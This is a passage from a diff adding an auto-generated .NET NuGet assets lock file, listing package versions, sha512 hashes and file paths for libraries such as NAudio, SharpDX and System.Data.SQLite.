"microsoft.netcore.platforms.nuspec", + "runtime.json" + ] + }, + "Microsoft.Win32.Primitives/4.3.0": { + "sha512": "9ZQKCWxH7Ijp9BfahvL2Zyf1cJIk8XYLF6Yjzr2yi0b2cOut/HQ31qf1ThHAgCc3WiZMdnWcfJCgN82/0UunxA==", + "type": "package", + "path": "microsoft.win32.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/Microsoft.Win32.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "microsoft.win32.primitives.4.3.0.nupkg.sha512", + "microsoft.win32.primitives.nuspec", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/Microsoft.Win32.Primitives.dll", + "ref/netstandard1.3/Microsoft.Win32.Primitives.dll", + "ref/netstandard1.3/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/de/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/es/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/fr/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/it/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ja/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ko/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/ru/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/zh-hans/Microsoft.Win32.Primitives.xml", + "ref/netstandard1.3/zh-hant/Microsoft.Win32.Primitives.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._" + ] + }, + "Microsoft.Win32.Registry/4.7.0": { + "sha512": "KSrRMb5vNi0CWSGG1++id2ZOs/1QhRqROt+qgbEAdQuGjGrFcl4AOl4/exGPUYz2wUnU42nvJqon1T3U0kPXLA==", + "type": "package", + "path": "microsoft.win32.registry/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/Microsoft.Win32.Registry.dll", + "lib/net461/Microsoft.Win32.Registry.dll", + "lib/net461/Microsoft.Win32.Registry.xml", + "lib/netstandard1.3/Microsoft.Win32.Registry.dll", + "lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "microsoft.win32.registry.4.7.0.nupkg.sha512", + "microsoft.win32.registry.nuspec", + "ref/net46/Microsoft.Win32.Registry.dll", + "ref/net461/Microsoft.Win32.Registry.dll", + "ref/net461/Microsoft.Win32.Registry.xml", + "ref/net472/Microsoft.Win32.Registry.dll", + "ref/net472/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/Microsoft.Win32.Registry.dll", + "ref/netstandard1.3/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/de/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/es/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/fr/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/it/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ja/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ko/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/ru/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/zh-hans/Microsoft.Win32.Registry.xml", + "ref/netstandard1.3/zh-hant/Microsoft.Win32.Registry.xml", + "ref/netstandard2.0/Microsoft.Win32.Registry.dll", + "ref/netstandard2.0/Microsoft.Win32.Registry.xml", + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "runtimes/win/lib/net46/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/net461/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/net461/Microsoft.Win32.Registry.xml", + "runtimes/win/lib/netstandard1.3/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/netstandard2.0/Microsoft.Win32.Registry.dll", + "runtimes/win/lib/netstandard2.0/Microsoft.Win32.Registry.xml", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "NAudio/2.2.1": { + "sha512": "c0DzwiyyklM0TP39Y7RObwO3QkWecgM6H60ikiEnsV/aEAJPbj5MFCLaD8BSfKuZe0HGuh9GRGWWlJmSxDc9MA==", + "type": "package", + "path": "naudio/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net472/NAudio.dll", + "lib/net472/NAudio.xml", + "lib/net6.0-windows7.0/NAudio.dll", + "lib/net6.0-windows7.0/NAudio.xml", + "lib/net6.0/NAudio.dll", + "lib/net6.0/NAudio.xml", + "lib/netcoreapp3.1/NAudio.dll", + "lib/netcoreapp3.1/NAudio.xml", + "license.txt", + "naudio-icon.png", + "naudio.2.2.1.nupkg.sha512", + "naudio.nuspec" + ] + }, + "NAudio.Asio/2.2.1": { + "sha512": "hQglyOT5iT3XuGpBP8ZG0+aoqwRfidHjTNehpoWwX0g6KJEgtH2VaqM2nuJ2mheKZa/IBqB4YQTZVvrIapzfOA==", + "type": "package", + "path": "naudio.asio/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Asio.dll", + "lib/netstandard2.0/NAudio.Asio.xml", + "naudio-icon.png", + "naudio.asio.2.2.1.nupkg.sha512", + "naudio.asio.nuspec" + ] + }, + "NAudio.Core/2.2.1": { + "sha512": "GgkdP6K/7FqXFo7uHvoqGZTJvW4z8g2IffhOO4JHaLzKCdDOUEzVKtveoZkCuUX8eV2HAINqi7VFqlFndrnz/g==", + "type": "package", + "path": "naudio.core/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Core.dll", + "lib/netstandard2.0/NAudio.Core.xml", + "naudio-icon.png", + "naudio.core.2.2.1.nupkg.sha512", + "naudio.core.nuspec" + ] + }, + "NAudio.Midi/2.2.1": { + "sha512": "6r23ylGo5aeP02WFXsPquz0T0hFJWyh+7t++tz19tc3Kr38NHm+Z9j+FiAv+xkH8tZqXJqus9Q8p6u7bidIgbw==", + "type": "package", + "path": "naudio.midi/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Midi.dll", + "lib/netstandard2.0/NAudio.Midi.xml", + "naudio-icon.png", + "naudio.midi.2.2.1.nupkg.sha512", + "naudio.midi.nuspec" + ] + }, + "NAudio.Wasapi/2.2.1": { + "sha512": "lFfXoqacZZe0WqNChJgGYI+XV/n/61LzPHT3C1CJp4khoxeo2sziyX5wzNYWeCMNbsWxFvT3b3iXeY1UYjBhZw==", + "type": "package", + "path": "naudio.wasapi/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.Wasapi.dll", + "lib/netstandard2.0/NAudio.Wasapi.xml", + "lib/uap10.0.18362/NAudio.Wasapi.dll", + "lib/uap10.0.18362/NAudio.Wasapi.pri", + "lib/uap10.0.18362/NAudio.Wasapi.xml", + "naudio-icon.png", + "naudio.wasapi.2.2.1.nupkg.sha512", + "naudio.wasapi.nuspec" + ] + }, + "NAudio.WinForms/2.2.1": { + "sha512": "DlDkewY1myY0A+3NrYRJD+MZhZV0yy1mNF6dckB27IQ9XCs/My5Ip8BZcoSHOsaPSe2GAjvoaDnk6N9w8xTv7w==", + "type": "package", + "path": "naudio.winforms/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net472/NAudio.WinForms.dll", + "lib/net472/NAudio.WinForms.xml", + "lib/netcoreapp3.1/NAudio.WinForms.dll", + "lib/netcoreapp3.1/NAudio.WinForms.xml", + "naudio-icon.png", + "naudio.winforms.2.2.1.nupkg.sha512", + "naudio.winforms.nuspec" + ] + }, + "NAudio.WinMM/2.2.1": { + "sha512": "xFHRFwH4x6aq3IxRbewvO33ugJRvZFEOfO62i7uQJRUNW2cnu6BeBTHUS0JD5KBucZbHZaYqxQG8dwZ47ezQuQ==", + "type": "package", + "path": "naudio.winmm/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.WinMM.dll", + "lib/netstandard2.0/NAudio.WinMM.xml", + "naudio-icon.png", + "naudio.winmm.2.2.1.nupkg.sha512", + "naudio.winmm.nuspec" + ] + }, + "NETStandard.Library/1.6.1": { + "sha512": "WcSp3+vP+yHNgS8EV5J7pZ9IRpeDuARBPN28by8zqff1wJQXm26PVU8L3/fYLBJVU7BtDyqNVWq2KlCVvSSR4A==", + "type": "package", + "path": "netstandard.library/1.6.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "netstandard.library.1.6.1.nupkg.sha512", + "netstandard.library.nuspec" + ] + }, + "SharpDX/4.2.0": { + "sha512": "3pv0LFMvfK/dv1qISJnn8xBeeT6R/FRvr0EV4KI2DGsL84Qlv6P7isWqxGyU0LCwlSVCJN3jgHJ4Bl0KI2PJww==", + "type": "package", + "path": "sharpdx/4.2.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net40/.xml", + "lib/net40/SharpDX.dll", + "lib/net40/SharpDX.pdb", + "lib/net45/.xml", + "lib/net45/SharpDX.dll", + "lib/net45/SharpDX.pdb", + "lib/netstandard1.1/.xml", + "lib/netstandard1.1/SharpDX.dll", + "lib/netstandard1.1/SharpDX.pdb", + "lib/uap10.0/.xml", + "lib/uap10.0/SharpDX.dll", + "lib/uap10.0/SharpDX.pdb", + "lib/uap10.0/SharpDX.pri", + "sharpdx.4.2.0.nupkg.sha512", + "sharpdx.nuspec" + ] + }, + "SharpDX.Direct3D11/4.2.0": { + "sha512": "oTm/iT5X/IIuJ8kNYP+DTC/MhBhqtRF5dbgPPFgLBdQv0BKzNTzXQQXd7SveBFjQg6hXEAJ2jGCAzNYvGFc9LA==", + "type": "package", + "path": "sharpdx.direct3d11/4.2.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net40/SharpDX.Direct3D11.dll", + "lib/net40/SharpDX.Direct3D11.pdb", + "lib/net40/SharpDX.Direct3D11.xml", + "lib/net45/SharpDX.Direct3D11.dll", + "lib/net45/SharpDX.Direct3D11.pdb", + "lib/net45/SharpDX.Direct3D11.xml", + "lib/netstandard1.1/SharpDX.Direct3D11.dll", + "lib/netstandard1.1/SharpDX.Direct3D11.pdb", + "lib/netstandard1.1/SharpDX.Direct3D11.xml", + "lib/uap10.0/SharpDX.Direct3D11.dll", + "lib/uap10.0/SharpDX.Direct3D11.pdb", + "lib/uap10.0/SharpDX.Direct3D11.pri", + "lib/uap10.0/SharpDX.Direct3D11.xml", + "sharpdx.direct3d11.4.2.0.nupkg.sha512", + "sharpdx.direct3d11.nuspec" + ] + }, + "SharpDX.DXGI/4.2.0": { + "sha512": "UjKqkgWc8U+SP+j3LBzFP6OB6Ntapjih7Xo+g1rLcsGbIb5KwewBrBChaUu7sil8rWoeVU/k0EJd3SMN4VqNZw==", + "type": "package", + "path": "sharpdx.dxgi/4.2.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net40/SharpDX.DXGI.dll", + "lib/net40/SharpDX.DXGI.pdb", + "lib/net40/SharpDX.DXGI.xml", + "lib/net45/SharpDX.DXGI.dll", + "lib/net45/SharpDX.DXGI.pdb", + "lib/net45/SharpDX.DXGI.xml", + "lib/netstandard1.1/SharpDX.DXGI.dll", + "lib/netstandard1.1/SharpDX.DXGI.pdb", + "lib/netstandard1.1/SharpDX.DXGI.xml", + "lib/uap10.0/SharpDX.DXGI.dll", + "lib/uap10.0/SharpDX.DXGI.pdb", + "lib/uap10.0/SharpDX.DXGI.pri", + "lib/uap10.0/SharpDX.DXGI.xml", + "sharpdx.dxgi.4.2.0.nupkg.sha512", + "sharpdx.dxgi.nuspec" + ] + }, + "Stub.System.Data.SQLite.Core.NetFramework/1.0.119": { + "sha512": "8b4SbSXAxXJ8tfn6bnBu0m+HXMZvkE+BfogUKITRFm+snxfT5BTK7fLZaAsNoFX8DkBBjtCEDd+ajWkcyu55QA==", + "type": "package", + "path": "stub.system.data.sqlite.core.netframework/1.0.119", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "build/net20/Stub.System.Data.SQLite.Core.NetFramework.targets", + "build/net20/x64/SQLite.Interop.dll", + "build/net20/x86/SQLite.Interop.dll", + "build/net40/Stub.System.Data.SQLite.Core.NetFramework.targets", + "build/net40/x64/SQLite.Interop.dll", + "build/net40/x86/SQLite.Interop.dll", + "build/net45/Stub.System.Data.SQLite.Core.NetFramework.targets", + "build/net45/x64/SQLite.Interop.dll", + "build/net45/x86/SQLite.Interop.dll", + "build/net451/Stub.System.Data.SQLite.Core.NetFramework.targets", + "build/net451/x64/SQLite.Interop.dll", + "build/net451/x86/SQLite.Interop.dll", + "build/net46/Stub.System.Data.SQLite.Core.NetFramework.targets", + "build/net46/x64/SQLite.Interop.dll", + "build/net46/x86/SQLite.Interop.dll", + "buildTransitive/net20/Stub.System.Data.SQLite.Core.NetFramework.targets", + "buildTransitive/net40/Stub.System.Data.SQLite.Core.NetFramework.targets", + "buildTransitive/net45/Stub.System.Data.SQLite.Core.NetFramework.targets", + "buildTransitive/net451/Stub.System.Data.SQLite.Core.NetFramework.targets", + "buildTransitive/net46/Stub.System.Data.SQLite.Core.NetFramework.targets", + "lib/net20/System.Data.SQLite.dll", + "lib/net20/System.Data.SQLite.dll.altconfig", + "lib/net20/System.Data.SQLite.xml", + "lib/net40/System.Data.SQLite.dll", + "lib/net40/System.Data.SQLite.dll.altconfig", + "lib/net40/System.Data.SQLite.xml", + "lib/net45/System.Data.SQLite.dll", + "lib/net45/System.Data.SQLite.dll.altconfig", + "lib/net45/System.Data.SQLite.xml", + "lib/net451/System.Data.SQLite.dll", + "lib/net451/System.Data.SQLite.dll.altconfig", + "lib/net451/System.Data.SQLite.xml", + "lib/net46/System.Data.SQLite.dll", + "lib/net46/System.Data.SQLite.dll.altconfig", + "lib/net46/System.Data.SQLite.xml", + "stub.system.data.sqlite.core.netframework.1.0.119.nupkg.sha512", + "stub.system.data.sqlite.core.netframework.nuspec" + ] + }, + "System.AppContext/4.3.0": { + "sha512": "fKC+rmaLfeIzUhagxY17Q9siv/sPrjjKcfNg1Ic8IlQkZLipo8ljcaZQu4VtI4Jqbzjc2VTjzGLF6WmsRXAEgA==", + "type": "package", + "path": "system.appcontext/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.AppContext.dll", + "lib/net463/System.AppContext.dll", + "lib/netcore50/System.AppContext.dll", + "lib/netstandard1.6/System.AppContext.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.AppContext.dll", + "ref/net463/System.AppContext.dll", + "ref/netstandard/_._", + "ref/netstandard1.3/System.AppContext.dll", + "ref/netstandard1.3/System.AppContext.xml", + "ref/netstandard1.3/de/System.AppContext.xml", + "ref/netstandard1.3/es/System.AppContext.xml", + "ref/netstandard1.3/fr/System.AppContext.xml", + "ref/netstandard1.3/it/System.AppContext.xml", + "ref/netstandard1.3/ja/System.AppContext.xml", + "ref/netstandard1.3/ko/System.AppContext.xml", + "ref/netstandard1.3/ru/System.AppContext.xml", + "ref/netstandard1.3/zh-hans/System.AppContext.xml", + "ref/netstandard1.3/zh-hant/System.AppContext.xml", + "ref/netstandard1.6/System.AppContext.dll", + "ref/netstandard1.6/System.AppContext.xml", + "ref/netstandard1.6/de/System.AppContext.xml", + "ref/netstandard1.6/es/System.AppContext.xml", + "ref/netstandard1.6/fr/System.AppContext.xml", + "ref/netstandard1.6/it/System.AppContext.xml", + "ref/netstandard1.6/ja/System.AppContext.xml", + "ref/netstandard1.6/ko/System.AppContext.xml", + "ref/netstandard1.6/ru/System.AppContext.xml", + "ref/netstandard1.6/zh-hans/System.AppContext.xml", + "ref/netstandard1.6/zh-hant/System.AppContext.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.AppContext.dll", + "system.appcontext.4.3.0.nupkg.sha512", + "system.appcontext.nuspec" + ] + }, + "System.Buffers/4.6.0": { + "sha512": "lN6tZi7Q46zFzAbRYXTIvfXcyvQQgxnY7Xm6C6xQ9784dEL1amjM6S6Iw4ZpsvesAKnRVsM4scrDQaDqSClkjA==", + "type": "package", + "path": "system.buffers/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Buffers.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Buffers.dll", + "lib/net462/System.Buffers.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard2.0/System.Buffers.dll", + "lib/netstandard2.0/System.Buffers.xml", + "system.buffers.4.6.0.nupkg.sha512", + "system.buffers.nuspec" + ] + }, + "System.Collections/4.3.0": { + "sha512": "3Dcj85/TBdVpL5Zr+gEEBUuFe2icOnLalmEh9hfck1PTYbbyWuZgh4fmm2ysCLTrqLQw6t3TgTyJ+VLp+Qb+Lw==", + "type": "package", + "path": "system.collections/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Collections.dll", + "ref/netcore50/System.Collections.xml", + "ref/netcore50/de/System.Collections.xml", + "ref/netcore50/es/System.Collections.xml", + "ref/netcore50/fr/System.Collections.xml", + "ref/netcore50/it/System.Collections.xml", + "ref/netcore50/ja/System.Collections.xml", + "ref/netcore50/ko/System.Collections.xml", + "ref/netcore50/ru/System.Collections.xml", + "ref/netcore50/zh-hans/System.Collections.xml", + "ref/netcore50/zh-hant/System.Collections.xml", + "ref/netstandard1.0/System.Collections.dll", + "ref/netstandard1.0/System.Collections.xml", + "ref/netstandard1.0/de/System.Collections.xml", + "ref/netstandard1.0/es/System.Collections.xml", + "ref/netstandard1.0/fr/System.Collections.xml", + "ref/netstandard1.0/it/System.Collections.xml", + "ref/netstandard1.0/ja/System.Collections.xml", + "ref/netstandard1.0/ko/System.Collections.xml", + "ref/netstandard1.0/ru/System.Collections.xml", + "ref/netstandard1.0/zh-hans/System.Collections.xml", + "ref/netstandard1.0/zh-hant/System.Collections.xml", + "ref/netstandard1.3/System.Collections.dll", + "ref/netstandard1.3/System.Collections.xml", + "ref/netstandard1.3/de/System.Collections.xml", + "ref/netstandard1.3/es/System.Collections.xml", + "ref/netstandard1.3/fr/System.Collections.xml", + "ref/netstandard1.3/it/System.Collections.xml", + "ref/netstandard1.3/ja/System.Collections.xml", + "ref/netstandard1.3/ko/System.Collections.xml", + "ref/netstandard1.3/ru/System.Collections.xml", + "ref/netstandard1.3/zh-hans/System.Collections.xml", + "ref/netstandard1.3/zh-hant/System.Collections.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.collections.4.3.0.nupkg.sha512", + "system.collections.nuspec" + ] + }, + "System.Collections.Concurrent/4.3.0": { + "sha512": "ztl69Xp0Y/UXCL+3v3tEU+lIy+bvjKNUmopn1wep/a291pVPK7dxBd6T7WnlQqRog+d1a/hSsgRsmFnIBKTPLQ==", + "type": "package", + "path": "system.collections.concurrent/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Collections.Concurrent.dll", + "lib/netstandard1.3/System.Collections.Concurrent.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Collections.Concurrent.dll", + "ref/netcore50/System.Collections.Concurrent.xml", + "ref/netcore50/de/System.Collections.Concurrent.xml", + "ref/netcore50/es/System.Collections.Concurrent.xml", + "ref/netcore50/fr/System.Collections.Concurrent.xml", + "ref/netcore50/it/System.Collections.Concurrent.xml", + "ref/netcore50/ja/System.Collections.Concurrent.xml", + "ref/netcore50/ko/System.Collections.Concurrent.xml", + "ref/netcore50/ru/System.Collections.Concurrent.xml", + "ref/netcore50/zh-hans/System.Collections.Concurrent.xml", + "ref/netcore50/zh-hant/System.Collections.Concurrent.xml", + "ref/netstandard1.1/System.Collections.Concurrent.dll", + "ref/netstandard1.1/System.Collections.Concurrent.xml", + "ref/netstandard1.1/de/System.Collections.Concurrent.xml", + "ref/netstandard1.1/es/System.Collections.Concurrent.xml", + "ref/netstandard1.1/fr/System.Collections.Concurrent.xml", + "ref/netstandard1.1/it/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ja/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ko/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ru/System.Collections.Concurrent.xml", + "ref/netstandard1.1/zh-hans/System.Collections.Concurrent.xml", + "ref/netstandard1.1/zh-hant/System.Collections.Concurrent.xml", + "ref/netstandard1.3/System.Collections.Concurrent.dll", + "ref/netstandard1.3/System.Collections.Concurrent.xml", + "ref/netstandard1.3/de/System.Collections.Concurrent.xml", + "ref/netstandard1.3/es/System.Collections.Concurrent.xml", + "ref/netstandard1.3/fr/System.Collections.Concurrent.xml", + "ref/netstandard1.3/it/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ja/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ko/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ru/System.Collections.Concurrent.xml", + "ref/netstandard1.3/zh-hans/System.Collections.Concurrent.xml", + "ref/netstandard1.3/zh-hant/System.Collections.Concurrent.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.collections.concurrent.4.3.0.nupkg.sha512", + "system.collections.concurrent.nuspec" + ] + }, + "System.Console/4.3.0": { + "sha512": "DHDrIxiqk1h03m6khKWV2X8p/uvN79rgSqpilL6uzpmSfxfU5ng8VcPtW4qsDsQDHiTv6IPV9TmD5M/vElPNLg==", + "type": "package", + "path": "system.console/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Console.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Console.dll", + "ref/netstandard1.3/System.Console.dll", + "ref/netstandard1.3/System.Console.xml", + "ref/netstandard1.3/de/System.Console.xml", + "ref/netstandard1.3/es/System.Console.xml", + "ref/netstandard1.3/fr/System.Console.xml", + "ref/netstandard1.3/it/System.Console.xml", + "ref/netstandard1.3/ja/System.Console.xml", + "ref/netstandard1.3/ko/System.Console.xml", + "ref/netstandard1.3/ru/System.Console.xml", + "ref/netstandard1.3/zh-hans/System.Console.xml", + "ref/netstandard1.3/zh-hant/System.Console.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.console.4.3.0.nupkg.sha512", + "system.console.nuspec" + ] + }, + "System.Data.SQLite/1.0.119": { + "sha512": "JSOJpnBf9goMnxGTJFGCmm6AffxgtpuXNXV5YvWO8UNC2zwd12qkUe5lAbnY+2ohIkIukgIjbvR1RA/sWILv3w==", + "type": "package", + "path": "system.data.sqlite/1.0.119", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "system.data.sqlite.1.0.119.nupkg.sha512", + "system.data.sqlite.nuspec" + ] + }, + "System.Data.SQLite.Core/1.0.119": { + "sha512": "bhQB8HVtRA+OOYw8UTD1F1kU+nGJ0/OZvH1JmlVUI4bGvgVEWeX1NcHjA765NvUoRVuCPlt8PrEpZ1thSsk1jg==", + "type": "package", + "path": "system.data.sqlite.core/1.0.119", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "system.data.sqlite.core.1.0.119.nupkg.sha512", + "system.data.sqlite.core.nuspec" + ] + }, + "System.Data.SQLite.EF6/1.0.119": { + "sha512": "BwwgCSeA80gsxdXtU7IQEBrN9kQXWQrD11hNYOJZbXBBI1C4r7hA4QhBAalO1nzijXikthGRUADIEMI3nlucLA==", + "type": "package", + "path": "system.data.sqlite.ef6/1.0.119", + "hasTools": true, + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "content/net40/app.config.install.xdt", + "content/net40/app.config.transform", + "content/net40/web.config.install.xdt", + "content/net40/web.config.transform", + "content/net45/app.config.install.xdt", + "content/net45/app.config.transform", + "content/net45/web.config.install.xdt", + "content/net45/web.config.transform", + "content/net451/app.config.install.xdt", + "content/net451/app.config.transform", + "content/net451/web.config.install.xdt", + "content/net451/web.config.transform", + "content/net46/app.config.install.xdt", + "content/net46/app.config.transform", + "content/net46/web.config.install.xdt", + "content/net46/web.config.transform", + "lib/net40/System.Data.SQLite.EF6.dll", + "lib/net45/System.Data.SQLite.EF6.dll", + "lib/net451/System.Data.SQLite.EF6.dll", + "lib/net46/System.Data.SQLite.EF6.dll", + "lib/netstandard2.1/System.Data.SQLite.EF6.dll", + "system.data.sqlite.ef6.1.0.119.nupkg.sha512", + "system.data.sqlite.ef6.nuspec", + "tools/net40/install.ps1", + "tools/net45/install.ps1", + "tools/net451/install.ps1", + "tools/net46/install.ps1" + ] + }, + "System.Data.SQLite.Linq/1.0.119": { + "sha512": "tkzb9aKEiQd18UW8VS6+vGtrkhcp4mjHg/AAKwNN8u7aWoBswquOnU07016MfTXyBUAR67mepWUhFC8zqNdPnA==", + "type": "package", + "path": "system.data.sqlite.linq/1.0.119", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "content/net20/app.config.transform", + "content/net20/web.config.transform", + "content/net40/app.config.transform", + "content/net40/web.config.transform", + "content/net45/app.config.transform", + "content/net45/web.config.transform", + "content/net451/app.config.transform", + "content/net451/web.config.transform", + "content/net46/app.config.transform", + "content/net46/web.config.transform", + "lib/net20/System.Data.SQLite.Linq.dll", + "lib/net40/System.Data.SQLite.Linq.dll", + "lib/net45/System.Data.SQLite.Linq.dll", + "lib/net451/System.Data.SQLite.Linq.dll", + "lib/net46/System.Data.SQLite.Linq.dll", + "system.data.sqlite.linq.1.0.119.nupkg.sha512", + "system.data.sqlite.linq.nuspec" + ] + }, + "System.Diagnostics.Debug/4.3.0": { + "sha512": "ZUhUOdqmaG5Jk3Xdb8xi5kIyQYAA4PnTNlHx1mu9ZY3qv4ELIdKbnL/akbGaKi2RnNUWaZsAs31rvzFdewTj2g==", + "type": "package", + "path": "system.diagnostics.debug/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Diagnostics.Debug.dll", + "ref/netcore50/System.Diagnostics.Debug.xml", + "ref/netcore50/de/System.Diagnostics.Debug.xml", + "ref/netcore50/es/System.Diagnostics.Debug.xml", + "ref/netcore50/fr/System.Diagnostics.Debug.xml", + "ref/netcore50/it/System.Diagnostics.Debug.xml", + "ref/netcore50/ja/System.Diagnostics.Debug.xml", + "ref/netcore50/ko/System.Diagnostics.Debug.xml", + "ref/netcore50/ru/System.Diagnostics.Debug.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Debug.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/System.Diagnostics.Debug.dll", + "ref/netstandard1.0/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/de/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/es/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/fr/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/it/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/ja/System.Diagnostics.Debug.xml", + 